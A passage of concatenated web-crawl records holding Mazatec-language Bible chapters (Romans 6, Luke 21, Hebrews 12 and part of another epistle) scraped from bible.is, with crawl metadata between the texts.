4K'e̱ nga ma bautizar xi̱ta̱, k'oa̱á s'ín ngaya‑la̱ koni tsà ya̱ sihijiìn‑t'aà‑là Cristo k'e̱ nga k'en. Koni s'ín jaáya‑la̱ Cristo i̱t'aà ts'e̱ nga'ñó‑la̱ Nainá xi 'ñó jeya tíjna, k'oa̱á ti̱s'ín mochjeén nga ko̱s'ín si̱jchá yijo‑ná nga ki̱jnakon xi̱tse̱ ìjngoò k'aá. 5Koni s'ín titsa̱kjoòkoa̱á Cristo k'e̱ nga k'en, jñá k'oa̱á ti̱s'ín kjoa̱áya‑ná koni s'ín jaáya‑la̱ jè. 6Tíjiìn‑ná nga jè kjoa̱ jchínga‑ná koni s'ín ki'né nga ìsa̱ kjòtseé, ya̱á kisit'aà krò‑la̱ Cristo mé‑ne nga kàtachija‑ne nga'ñó‑la̱ yijo jé‑ná nga mì ti̱ jé kjo̱tíxoma‑ìsa‑ná. 7Jngoò xi̱ta̱ xi jye k'en, jyeé tíjnandei̱í kjoa̱ ts'e̱ jé. 8Nga ya̱ k'en‑koa̱á Cristo, mokjeiín‑ná nga ti̱koa̱ ya̱ ki̱tsa̱jnakoa̱á. 9'Ya‑ná k'e̱ nga jaáya‑la̱ Cristo k'e̱ nga k'en, nì ti̱ jngoò na̱chrjein ki̱yá ìjngoò k'a‑ne. Mì ti̱ mé nga'ñó tjín‑la̱ kjoa̱biyaà nga jè ko̱tìxoma‑la̱. 10K'e̱ nga k'en Cristo, jngoò k'a k'en xi kjoa̱ ts'e̱ jé‑ná; i̱'ndei̱ nga ìjngoò k'a tíjnakon‑né koií kjoa̱ tíjnakon‑ne nga jeya síkíjna Nainá. 11Jñò, k'oa̱á ti̱s'ín ti̱kítsjeèn koni tsà jye k'eèn xi kjoa̱ ts'e̱ jé; ti̱tsa̱jnakon‑nò xi kjoa̱ ts'e̱ Nainá nga ya̱ titsa̱jnako̱o Na̱'èn‑ná Jesucristo. 12Koií kjoa̱‑la̱, mì ti̱ kiì biì'nde‑là yijo jé‑nò nga jè kjoa̱ ts'e̱ jé ko̱tìxoma‑nò k'e̱ nga kjo̱'ñó s'ín‑nò nga nìkitasòn‑là kjoa̱ xi ch'o tjín xi síjé yijo‑nò. 13Kì ya̱ nìnga̱tsja yijo‑nò kjoa̱ ts'e̱ jé nga jè jé síkjeén nga ch'o 'nè, ta̱ sa̱á jè Nainá ti̱nga̱tsja yijo‑nò koni jngoò xi̱ta̱ xi jye jaáya‑la̱ i̱t'aà ts'e̱ kjo̱biyaà. Nainá ti̱nga̱tsja yijo‑nò nga kàtasíkjeén kjoa̱ xi kixi̱ tjín. 14Kjoa̱ ts'e̱ jé, mì ti̱ mé nga'ñó tjín‑la̱ nga jè ko̱tìxoma‑nò nga mìtsà kjoa̱ ts'e̱ kjo̱tíxoma‑la̱ Moisés titsa̱jnajñoò; kjo̱ndaà‑la̱ Nainá titsa̱jnajñoò. 15¿Kó bixoán? ¿A ndaà tjín nga ki̱nchátsji jé ìsa̱á nga kjo̱ndaà‑la̱ Nainá titsa̱jnajñaá nga mìtsà kjoa̱ ts'e̱ kjo̱tíxoma titsa̱jnajñaá? Majìn, mìkiì ndaà tjín. 16Ndaà tíjiìn‑nò tsà ya̱ si̱nga̱tsja yijo‑nò ts'e̱ xi̱ta̱ xi bítje̱ chi̱'nda nga jè nìkitasòn‑là, chi̱'nda‑la̱ ko̱maà ts'e̱ xi̱ta̱ jè. Kjo̱'ñó tjín‑ne nga jè si̱kitasòn‑là. K'oa̱á s'ín tjín, tsà chi̱'nda‑la̱ jé ko̱maà nga jè si̱kitasòn‑là, ki̱yá‑nò; ta̱nga tsà chi̱'nda‑la̱ Nainá ko̱maà nga jè si̱kitasòn‑là, kixi̱í ki̱tsa̱jnaà nguixko̱n jè. 17Jñò, nga ìsa̱ kjòtseé, k'oa̱á s'ín kinìkitasòn‑là kjoa̱ ts'e̱ jé koni tsà jngoò chi̱'nda, ta̱nga i̱'ndei̱, ndaà chjí‑la̱ Nainá nga ko̱ ini̱ma̱‑nò ndaà nìkitasòn koni s'ín nguì ndaà tjín 'én kixi̱ xi kis'eno̱jmí‑nò. 18I̱'ndei̱ jyeé titsa̱jnandei̱í‑là kjoa̱ ts'e̱ jé; chi̱'nda ts'e̱ kjoa̱kixi̱‑nò; tjínè‑nò nga si̱kitasòn koni s'ín síjé kjoa̱kixi̱. 19Koi 'én tìchjàko̱‑nò xi mìtsà 'in chja̱ koií kjoa̱‑la̱ nga indaà tjín takòn; mìkiì ndaà machi̱ya‑nò kjoa̱ ts'e̱ Nainá. Koni s'ín ki'nè nga ìsa̱ kjòtseé nga ya̱ kinìnga̱tsja yijo‑nò i̱t'aà ts'e̱ ngats'iì kjoa̱ch'o xi tjín nga jè tsatíxoma‑nò koni xi̱ta̱ chi̱'nda; i̱'ndei̱ k'oa̱á ti̱s'ín ti̱nga̱tsja yijo‑nò i̱t'aà ts'e̱ kjoa̱ kixi̱ mé‑ne jè kjoa̱ kixi̱ kàtatíxoma‑nò koni chi̱'nda xi tsjeè títsa̱jna nga nguixko̱n Nainá. 20K'e̱ nga kjoa̱ ts'e̱ chi̱'nda‑la̱ jé titsa̱jnajñoò, mìkiì titsa̱nìkitasòn‑là kjoa̱kixi̱‑la̱ Nainá. 21Ta̱nga, ¿mé xi kisakò‑nò kjoa̱ ts'e̱ jé? I̱'ndei̱ tà masobà‑nò kjoa̱ koi; tà ya̱á fìko̱‑ná ñánda tjín kjoa̱biyaà. 22I̱'ndei̱ nga jye titsa̱jnandei̱í‑là xi kjoa̱ ts'e̱ jé, chi̱'nda‑la̱ Nainá ma; kjo̱ndaà xi sakó‑nò jè‑né nga tsjeè titsa̱jnaà nga nguixko̱n Nainá. Xi fehet'aà‑ne, s'e̱‑nò kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne. 23Chjí xi tjín‑la̱ kjoa̱ ts'e̱ jé, kjoa̱biyaà‑né. Ta̱nga kjo̱tjò xi tsjá Nainá, kjoa̱binachon‑né ni̱ta̱ mé na̱chrjein‑ne nga ya̱ titsa̱jnakoa̱á Cristo Jesús xi Na̱'èn‑ná ma.\nRomanos 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/6","date":"2013-12-09T20:07:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163997135\/warc\/CC-MAIN-20131204133317-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":579,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga iskotsíjen Jesús, kijtseé jñà xi̱ta̱ ra 'ñó nchi̱ná nga i̱nchibítsa̱ya to̱n‑la̱ ya̱ ñánda̱ nga siya to̱n ra kjo̱tjò 'tse̱ Nainá. 2Ko̱ ti̱'koa̱ kijtse‑te jngo ndí chjo̱ón i̱ma̱ ra 'ken 'xi̱n‑la̱, nga jò to̱n ra chibachjí chjí‑la̱ kitsjà ra jè. 3'Kia̱á kitsò: ―'Koa̱á xin kixi̱‑no, jè chjo̱ón jch'a̱n ra̱kìi̱ ra 'ñó i̱ma̱, jé‑ní ra isa̱ tse to̱n kábíjna, nda mí 'koa̱‑ni koni jñà xi̱ta̱ ra i'ka. 4Nga̱ nga'tsì jñà xi̱ta̱ ra tjín‑la̱ to̱n, tà jé tsjá jè ra jnengi‑la̱, tanga jè ndí chjo̱ón i̱ma̱ ra̱kìi̱, jè kátsjá ijye to̱n ra tíjnakon‑ni nga ni̱chjin nchijòn. 5Tjín i'ka ra i̱nchijo̱óya‑ni jè i̱ngo̱ ítjòn, nga 'ñó nda kjòn jñà na̱jo̱‑la̱ ko̱ jñà tsajmì ra ijàjno. Jesús kitsó‑la̱: 6―Jñà na̱jo̱ ko̱ tsajmì ra nda kjòn ra i̱nchichitsíjen‑la, ki̱jchò ni̱chjin 'kia̱ nga ni̱ì‑ti̱‑jngo ya̱ si̱jnasòn‑la̱ xákjén; ki̱xo̱jen ijye‑ní. 7Jñà xi̱ta̱ 'kia̱á iskonangi‑la̱ Jesús, kitsò‑la̱: ―Maestro, ¿kjiá‑nioo̱ nga ko̱'sín ka̱ma? ¿Mé kjo̱xkón ra tsijen jcha̱‑la̱ 'kia̱ nga ijye ko̱chraña ni̱chjin nga ko̱'sín ko̱ma jñà kjoa̱ kìi̱? 8Jesús kitsó‑ní: ―Ti̱kinda̱a ijo‑no nga mì yá ra sko̱ónda̱cha̱‑no. Kjín xi̱ta̱ kj'i̱í ra 'í tsa̱'a̱n si̱ìchjeén nga ki̱tso̱: \"'A̱án‑ná ra Cristo [ra xá isìkasén‑na Nainá]\", ti̱'koa̱ ki̱tso̱: \"Ijyeé kjochraña ni̱chjin nga 'a̱n kotexóma.\" Kì ya̱ mahítji̱ngi‑la. 9'Kia̱ nga ki̱ná'ya nga 'se̱ kjo̱jchán, ko̱ kjo̱si, kì tà chjàn skon; nga̱ machjeén‑ní nga ítjòn ko̱'sín ka̱ma tanga kjè tsa kje̱he'tà‑jìn ni̱chjin. 10Kitsó‑isa‑la̱: ―Jñà ra na̱xi̱ndá i'i, ko̱ jñà xi̱ta̱xá ítjòn ra i̱nchibatéxoma, kjo̱jchán 'ke̱‑la̱ xákjén. 11'Se̱é chón ra 'ñó tse 'koa̱; jndíi̱ ra ján 'se̱ kjinchrá ko̱ 'chin ra 'ñó kjàn. Jcha̱á‑la̱ ya̱ ján ngajmi kjo̱xkón ra 'ñó tse tjín‑ni ko̱ kjoa̱ ra 'ñó 'cho tjín ra 'ñó ki̱skón‑lá. 12'Tanga ítjòn jtsa̱ba̱'ñó‑no xi̱ta̱; koa̱àtji̱ngi‑no; i̱ko̱‑no ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío nga ya̱ si̱ndajín‑no. Ti̱'koa̱ i̱ko̱ó‑no nda̱yá; i̱ko̱ó‑no ñánda̱ tíjna xi̱ta̱xá ítjòn ko̱ ya̱ ñánda̱ tíjna jè xi̱ta̱ ra batéxoma, tà nga̱tjì‑la̱ nga a̱'ta tsa̱'a̱n makjiín‑no. 13'Kia̱ nga ko̱'sín ko̱ka̱ma'tin jiòn, 'kia̱á ko̱ma 'kéna̱jmí‑la xi̱ta̱ ra a̱'ta tsa̱'a̱n. 14Ko̱'sín ti̱jngo‑la takòn, kì tà chjàn ítjòn níkítsjen kó'sín kixó nga ki̱si̱ko̱o ijo‑no; 15nga̱ 'a̱án tsja‑no 'én ko̱ kjo̱bítsjen kó'sín kixó, mé‑ni nga mì kì si̱ìkijne‑no jñà xi̱ta̱ kondra̱‑no 'kia̱ nga jchi̱bakjo. 16Skanda ti̱jñá‑ni ra na̱'ìn‑no ma, ra 'ndsè, ra xàngio̱o, ko̱ xi̱ta̱ ra nda báko̱‑no, ra si̱ìnga̱tsja‑no ko̱ ti̱'koa̱ si̱ì'ken i'ka‑no. 17Nga'tsì xi̱ta̱ i̱sà'nde si̱ìjtike‑no, tà nga̱tjì‑la̱ ra a̱'ta tsa̱'a̱n. 18Tanga ni̱jngo tsja̱skò jchi̱ja. 19¡Jè ra chíkjoa̱‑la̱ kjo̱hi'in kìi̱ nga ko̱tojin, kíjnakon inìma̱‑la̱ skanda ta kjiá‑nioo̱! 20''Kia̱ nga jcha̱a na̱xi̱ndá Jerusalén nga kitse jngo tjindi‑la̱ chíchàn, ijyeé 'ya nga kjochraña ni̱chjin nga kje̱hesòn nga'tsì mé ra tjín ya̱. 21'Kia̱ ko̱'sín ko̱ma, jñà ra ya̱ tjítsa̱jna Judea, ya̱ katafì ñánda̱ nindo; jñà ra tjítsa̱jna ya̱ Jerusalén, katitjojin; ko̱ ra ya̱ tjítsa̱jna ya̱ a̱jin ijñá ján, kì tà chjàn máfa‑ni ya̱ na̱xi̱ndá‑la̱. 22Nga̱ 'tse̱é kjo̱hi'in 'se̱, mé‑ni nga ki̱tjasòn ijye‑ni koni 'sín tíchja̱ Xa̱jo̱n 'tse̱ Nainá. 23¡I̱ma̱‑ró‑ni ndí íchjín, ra 'kia̱ chi̱ba̱‑la̱ 'xkén, ko̱ tsa ndí i̱xti‑xó i̱nchisíkaki! Ra ta kjo̱jti‑la̱ Nainá, tseé kjo̱hi'in tsjá‑la̱ xi̱ta̱ na̱xi̱ndá Israel. 24Tjín ra ki̱cha̱ ndajò ki̱yá‑ni; ko̱ tjín ra kj'ií i̱sà'nde i̱ko̱ kjo̱hi'in jñà xi̱ta̱. Jñà ra mì tsa xi̱ta̱ judío, 'ñó ske̱ton jñà xi̱ta̱ na̱xi̱ndá Jerusalén; jñá ko̱tèxoma‑la̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin‑la̱ xi̱ta̱ kìi̱. 25'Jcha̱á‑la̱ kjo̱xkón a̱'ta 'tse̱ tsá'bí, 'tse̱ sá, ko̱ a̱'ta 'tse̱ jñà nitse. Ya̱ a̱'ta nangi, nga'tsì xi̱ta̱, 'ñó jtsa̱kjòn nga kji̱'nchré‑la̱ nga 'ñó kjo̱ne 'kia̱ nga ski̱'nga jè ndáchikon. 26Jñà xi̱ta̱ ngi ki̱yáya‑ní nga jtsa̱kjòn 'kia̱ nga ske̱ kjoa̱ ra ka̱ma'tin i̱sà'nde. Nga̱ skanda jñà nga'ñó ra tjín ján ngajmi, ko̱jtiyaá‑la̱. 27A̱kjòn ske̱‑na xi̱ta̱, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ nga kji̱nchrabàa̱ ya̱ a̱jin ifi nga tse nga'ñó tji̱ko̱ ko̱ jeya tíjna. 28'Kia̱ ko̱'tsia̱ nga ko̱'sín ka̱ma kjoa̱ kìi̱, 'ñó 'tè‑la takòn ko̱ tsja 'tè‑la inìma̱‑no, nga̱ ijyeé kjochraña ni̱chjin nga ki̱tsa̱jnandi̱í‑no. 29'Kia̱á tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra mangásòn; kitsò‑la̱: ―Chítsijen‑la jè yá‑la̱ to igo̱, ko̱ nga'tsì yá ra tjín. 30'Kia̱ nga ijye bí'tsia̱ nga bí'jtsén xka̱‑la̱, 'ya‑nó nga ijyeé machraña cho̱ ndabá. 31'Koa̱á ti̱'sín tjín, 'kia̱ nga jcha̱a nga ko̱ka̱ma jñà kjoa̱ kìi̱, katamachi̱yaá‑no nga ijyeé tímachraña ni̱chjin nga jcha̱a kó'sín batéxoma Nainá. 32''Koa̱á xin kixi̱‑no: Ti̱kjeé biya‑ni xi̱ta̱ ra tjín 'ndi̱ 'ndi̱, nga ki̱tjasòn ijye jñà kjoa̱ kìi̱. 33Jè ngajmi ko̱ jè i̱sà'nde jchi̱jaá‑la, tanga jñà 'én‑na̱, mì tsa ta ya̱ jcha̱àjin; ki̱tjasòn ijye‑ní. 34'Ti̱kinda̱a ijo‑no; kì bi'nde nga jè sítájajín inìma̱‑no jñà kjoa̱ 'chi̱, ko̱ kjoa̱ ra 'sín xi̱ta̱ 'chi̱, ko̱ kjoa̱ ra níkájneé ya̱ i̱sà'nde mé‑ni mì ta ndi̱to̱n kji̱íkanè‑no jè ni̱chjin 'kia̱ nga kjí'i̱ india‑na, koni 'sín ma jngo chi̱n. 35Nga̱ 'koa̱á 'sín ka̱ma'tin nga'tsì xi̱ta̱ ra tjín nga tíjngo i̱sà'nde. 36Ti̱tsa̱jnanda ra jiòn, ti̱nákjoa̱'ta ki'ta‑la Nainá mé‑ni nga 'se̱‑no nga'ñó nga ka̱ma ko̱tojiòn nga'tsì kjo̱hi'in ra 'se̱, ko̱ mé‑ni nga mì kì ko̱sabá‑no ya̱ ngixko̱n I'ndí‑la̱ Xi̱ta̱. 37'Kia̱ ni̱chjin, ya̱á tsakón‑ya Jesús ya̱ ndi̱tsin i̱ngo̱ ítjòn, ko̱ 'kia̱ ni̱tje̱n, ya̱á fì kijna ya̱ nindo ra 'mì Yá Olivo. 38Nga'tsì xi̱ta̱ bijchó 'nchré‑la̱ 'én ra bakón‑ya 'kia̱ nga ta̱jñòya ya̱ a̱ya i̱ngo̱ ítjòn.\nSan Lucas 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/21","date":"2013-12-11T06:57:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032288\/warc\/CC-MAIN-20131204133352-00002-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":810,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga 'ñó kjìn ma‑ne xi̱ta̱ xi títsa̱jnandiì‑ná xi ndaà mokjeiín‑la̱, k'oa̱á ma‑ne nga ti̱koa̱á jñá, jngoò k'a si̱kítsa̱jnaá ngats'iì kjoa̱ xi sí'in‑ná ko̱ kjoa̱ ts'e̱ jé xi tsobà'ñó‑ná nga kona̱cha̱n‑ná; mochjeén‑né nga k'oa̱ s'ín s'e̱én koni jngoò xi̱ta̱ xi ongachikon nga chíkjoa̱ko̱‑la̱ nga ki̱jchò skanda ñánda nga tjín‑nè‑la̱ nga ki̱jchò. 2Ndaà chítsejèn‑lá Jesús; jè tsibíts'ia̱ ítjòn koni s'ín mokjeiín‑ná ko̱ jè síjngoò kjoa̱ koni s'ín mokjeiín‑ná. Jesús nga jye tíjiìn‑la̱ nga ko̱ma i̱skan s'e̱é‑la̱ kjo̱tsja, k'oa̱á ma‑ne nga kichìkjoa̱ ko̱‑la̱ kjo̱'in i̱t'aà krò, mìkiì kjòsobà‑la̱ koni s'ín k'en; i̱kjoàn tsibíjnat'aà chrja kixi̱‑la̱ Nainá nga ya̱ tíhotíxoma. 3Ti̱kítsjeèn i̱t'aà ts'e̱ Jesús; kichìkjoa̱ ko̱ó‑la̱ kjo̱'in xi tsibínè‑la̱ jñà xi̱ta̱ jé, mé‑ne jñò mìkiì ki̱jta‑nò ko̱ mìkiì sìkàjeèn‑là takòn. 4Koni s'ín titsa̱bixkàn‑ko̱o kjoa̱ ts'e̱ jé, kj'eè tsà yá xi̱ta̱ xi tsò ikon nga sík'en‑nò. 5¿A jye kijchàajiìn‑nò koni tsò‑nò Nainá nga i̱xti‑la̱ tsò‑nò? K'oa̱á s'ín tíchja̱ xo̱jo̱n xi tjít'aà 'én‑la̱ Nainá nga tsò: Nga ki'ndí‑na̱ xan‑lè, kì nachrjekàngui‑jèn k'e̱ nga síkixi̱ya‑lè Na̱'èn‑ná, ko̱ kì nìkjajen‑la̱ takoìn k'e̱ nga síkaká‑lè. 6Na̱'èn‑ná síkixi̱ya‑né jè xi̱ta̱ xi tsjakeè, tsjá‑la̱ kjo̱'in ngats'iì xi kjoétjò nga ki'ndí‑la̱ tsò‑la̱. 7Nainá k'oa̱á s'ín beèhikon‑nò nga ki'ndí‑la̱ tsò‑nò; ti̱kjioón k'e̱ nga kjo̱'in tsjá‑nò. Ngats'iì xi Na̱'èn ma, tsjá‑la̱ kjo̱'in i̱xti‑la̱ nga síkixi̱ya. 8Ta̱nga tsà Nainá mìkiì si̱ìkixi̱ya‑nò koni s'ín síko̱ ngats'iì xi i̱xti‑la̱ ma, mìtsà kixi̱ kjoa̱ nga nguì i̱xti‑la̱ Nainá maà. 9K'e̱ nga sa̱ i̱xtiaá, jñà xi̱ta̱ jchínga‑ná xi tjín i̱ i̱t'aà nangui, kisìkixi̱ya‑ná koa̱ ndaà kiyaxkoán. ¿A mìtsà ìsa̱ ndaà jcha̱xkoán Na̱'èn‑ná xi tíjna ngajmiì, mé‑ne nga kàtas'e‑ná kjoa̱binachon? 10Xi̱ta̱ jchínga‑ná i̱ i̱t'aà nangui tsjá‑ná kjo̱'in nga síkixi̱ya‑ná koni s'ín mejèn‑la̱, na̱s'ín ta chiba na̱chrjein titsa̱jnaá. Ta̱nga Nainá síkixi̱ya‑ná xi kjo̱ndaà tsa̱ján mé‑ne nga tsjeè ki̱tsa̱jnaá koni jè Nainá nga tsjeè tíjna. 11Kixi̱í kjoa̱, tsjìn kjo̱'in xi kjo̱tsja tsjá, tà kjoa̱ba tsjá nga 'on ma‑la̱ yijo‑ná, ta̱nga komà i̱skan‑ne s'e̱é‑ná kjoa̱ kixi̱ xi 'nchán tjín nga ndaà ki̱tsa̱jnakoa̱á Nainá ngats'iaá xi biì'ndeé nga tímakixi̱yaá. 12K'oa̱á ma‑ne nga tjiì‑là nga'ñó yijo‑nò, chjímiì'ngaà ndsa̱a xi mìkiì ma síkjaníyá, ko̱ xkó ndso̱koò xi tsjìn‑la̱ nga'ñó; 13ti̱nchátsjioò xi ndi̱yá kixi̱ nga kàtandaà‑ne ndso̱koò xi tsá'yá kji, mé‑ne nga mìkiì ìsa̱ ndaà ko̱tsó'ño̱‑ne. 14'Nchán ti̱tsa̱jnako̱o ngats'iì xi̱ta̱; tsjeè ti̱tsa̱jna nga nguixko̱n Nainá. Nga ni̱jngoò xi̱ta̱ skoe̱xkon Nainá tsà mì tsjeè tíjna. 15Ndaà chítsejèn nga ni̱jngoò xi̱ta̱ ko̱si̱jnat'aàxìn‑la̱ kjo̱ndaà‑la̱ Nainá, mé‑ne nga mì k'oa̱á s'ín ko̱mat'ioòn koni tsà jngoò xka̱ ijñá ki̱so̱ xi tsja i̱ma̱‑la̱ xi síkits'ón xi̱ta̱ nga tsjá ch'in‑la̱. 16Jñò, ni̱jngoò xi xi̱ta̱ chijngui ko̱ma, kì nachrjekànguioò tsojmì xi tsjeè; kì k'oa̱á s'ín 'nè koni kis'iìn Esaú nga tà jngoò chroba tsojmì xi ma chine tsatíjna‑ne xi jè tjín‑ne nga ko̱ko̱‑la̱ koni ki'ndí tjòn. 17Jñò jyeé tíjiìn‑nò, k'e̱ nga jye komà i̱skan, Esaú k'e̱ nga kjòmejèn‑la̱ nga si̱ìchikon‑t'in na̱'èn‑la̱, kinachrjekàngui‑né, mì ti̱ kiì komà kjòchikon‑t'in‑ne, na̱s'ín ta̱kó 'ñó kiskindàya. 18[Koni s'ín komàt'in xi̱ta̱ Israel nga kjìn kjo̱xkón kijtseè], jñò, mìtsà ko̱s'ín ya̱ ijchò kinchat'aà‑là nindoò xi ma nìko̱, jè nindoò ñánda títì ni'ín jnga̱, ñánda skanda mì ti̱ kiì kjòtsejèn‑ne nga jñò choòn ko̱ ñánda tí'ba tjo̱ xkón. 19Mìkiì kina'yà‑là jta̱‑la̱ chrjo, ti̱koa̱ mìkiì kina'yà‑là jta̱‑la̱ Nainá k'e̱ nga kiìchja̱. Jñà xi kiì'nchré‑la̱ Nainá, tsibítsi'ba‑ne nga majìn‑la̱ nga ki̱chja̱‑ìsa, 20koií kjoa̱‑la̱ nga mìkiì kichìkjoa̱‑la̱ koni s'ín tjín kjo̱tíxoma xi kisinè‑la̱ nga tsò: \"Jè xi̱ta̱ xi ko̱sìjna jngoò ndso̱ko̱ ya̱ i̱t'aà nindoò, na̱s'ín jngoò cho̱, nda̱jo̱ó ki̱yá‑ne ko̱ tsà majìn ki̱cha̱á ko̱tosìkjá yijo‑la̱.\" 21'Ñó xkón tjín kjoa̱ xi ki'ya‑la̱, skanda ti̱jè‑ne Moisés kitsò: \"Tsakjoòn jchán‑ná skanda chi̱ba̱‑la̱ tíhotsé‑ná.\" 22Ta̱nga jñò, ya̱á ijchò kinchat'aà‑là nindoò Sión, jè na̱xa̱ndá‑la̱ Nainá xi tíjnakon, xi ti̱jè‑ne Jerusalén xi ts'e̱ ngajmiì, ñánda kjìn jmiì àkja̱le̱ títsa̱jna xi nchisítsjako̱ Nainá nga jeya nchisíkíjna, 23ñánda títsa̱jnajtín i̱xti‑la̱ Nainá xi tjoé‑la̱ kjo̱tjò xi ts'e̱ i̱xtitjòn xi tjít'aà 'ín‑la̱ xo̱jo̱n ts'e̱ ngajmiì. Ijchò kinchat'aà‑là Nainá xi xi̱ta̱xá tíjna nga jè bíndaàjiìn‑la̱ ngats'iì xi̱ta̱. Ti̱koa̱á ijchò kinchat'aà‑là ini̱ma̱‑la̱ xi̱ta̱ kixi̱ xi Nainá jye kisìtsjeè nga ni̱mé chijat'aà‑la̱. 24Ijchò kinchat'aà‑là Jesús xi osìjnajiìn‑ná jngoò kjoa̱ xi̱tse̱ ko̱ jè jní‑la̱ xi kixíxteèn [nga kisìtsjeè‑ná] xi ìsa̱ ndaá chja̱‑ná mì k'oa̱á‑ne koni ts'e̱ Abel [xi síjé nga sindaàjiìn]. 25Jñò, t'e̱en kinda̱ yijo‑nò. Kì nachrjekànguioò jè xi tíchja̱‑ná. Jñà xi̱ta̱ jchínga kjòtseé xi tsachrjekàngui koni s'ín kinokjoà‑la̱ i̱ i̱t'aà nangui nga kinìkaká‑la̱, mìkiì tsajno‑la̱ nga kitjoé‑la̱ kjo̱'in. Jñá, ìsa̱á 'ñó 'in tjín tsà ki̱nachrjekànguiaá Nainá k'e̱ nga skanda ján ngajmiì chja̱‑ná nga síkaká‑ná; mìkiì ko̱jno‑ná nga tjoé‑ná kjo̱'in. 26Jè na̱chrjein jè, jta̱‑la̱ Nainá, skanda jè nangui kisìjtiya‑la̱, ta̱nga na̱chrjein i̱'ndei̱, k'oa̱á tsò: \"Ìjngoò k'a siìjtiya‑la̱, mìtsà tà jè nangui siìjtiya‑la̱ ko̱ó ngajmiì.\" 27Jè 'én, k'e̱ nga tsò \"ìjngoò k'a siìjtiya‑la̱\", k'oa̱á s'ín machi̱ya‑ná nga tjáxìn tsojmì xi xó kisindaà‑ne, jñà xi ma oníyá‑la̱, mé‑ne nga kítsa̱jna‑ne xi mìkiì ma oníyá‑la̱. 28I̱t'aà ts'e̱ Nainá tsjá‑ná o̱kixi̱ nga ya̱ ko̱ti̱xomakoa̱á ya̱ i̱'nde ñánda mìkiì ma oníyá‑la̱. Ndaà chjí‑la̱ Nainá jñà kjoa̱ koi. Jeya si̱kíjnaá ko̱ jcha̱xkoán koni s'ín sasén‑la̱ jè. 29Nga \"jè Nainá, k'oa̱á ngaya‑la̱ koni ni'ín xi síkjehesòn yije ni̱ta̱ mé xi tjín.\"\nHebreos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/12","date":"2013-12-13T16:30:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164960531\/warc\/CC-MAIN-20131204134920-00085-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":805,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi fehet'aà‑ne ndí 'ndsè ko̱ ndí tichjaá, titsi'batjì‑náje̱n mé‑ne jè 'én‑la̱ Nainá ni̱to̱n xki̱ xi ján katijchó, ti̱koa̱ ndaà kàteèxkón jñà xi̱ta̱ xi skoétjò 'én koni s'ín ki'nè jñò nga ndaà kiyaxkón. 2Ti̱koa̱ titsi'batjì‑náje̱n mé‑ne nga jè Na̱'èn‑ná kì kiì tsjá'nde nga ch'o si̱ìko̱‑naje̱n xi̱ta̱ ts'e̱n ko̱ xi ch'o s'ín, nga mì tà ngats'iì xi̱ta̱ mokjeiín‑la̱. 3Na̱'èn‑ná xi̱ta̱ kixi̱‑né, síkitasòn 'én‑la̱, kixi̱í si̱ìkítsa̱jna‑nò ti̱koa̱ si̱ìkinda̱‑nò mé‑ne nga mì ch'o si̱ìko̱‑nò jè xi̱ta̱ nei̱í. 4Nga i̱t'aà ts'e̱ Na̱'èn‑ná mokjeiín‑naje̱n nga titsa̱nìkitasòn‑nò koni s'ín tìtsahotiìxoma‑nòje̱n ko̱ tákó k'oa̱á s'ín s'e̱en‑ìsa. 5Jè Na̱'èn‑ná kàtasíchját'aà‑nò nga ko̱s'ín tjòcha jcha̱a xinguio̱o koni s'ín tjòkeè kijtseè‑nò Nainá; ko̱ nga kàtachíkjoa̱ko̱‑nò kjo̱'in koni s'ín kichìkjoa̱ko̱‑la̱ Cristo. 6Ndí 'ndsè ko̱ ndí tichjaá, k'oa̱á s'ín bìnè‑nòje̱n, i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, kì ti̱ ya̱ tsjahijtako̱‑nò jñà xi̱ta̱ 'ndseé ko̱ tichjaá xi majìn‑la̱ síxá, jñà xi mìkiì k'oa̱s'ín síkitasòn koni s'ín tjín kjoa̱ kixi̱ xi ngaje̱n kinìkatoya‑nòje̱n. 7Jñò, jyeé tíjiìn‑nò nga mochjeén‑né nga chjínguì‑náje̱n koni s'ín ki'nè‑je̱n k'e̱ nga ya̱ tsitsa̱jnako̱‑nòje̱n; mì jyò tsitsa̱jna‑je̱n, kinìxá‑náje̱n. 8Mìtsà ta kjo̱tjò chichi‑je̱n. Ta̱ sa̱á 'ñó kiníxá‑je̱n ko̱ na̱chrjein ko̱ ni̱tje̱n kinìkijta‑je̱n yijo‑naje̱n, mé‑ne nga mì jñò si̱ìjti‑nòje̱n. 9Kinìxá‑náje̱n na̱s'ín tjí'nde‑naje̱n nga 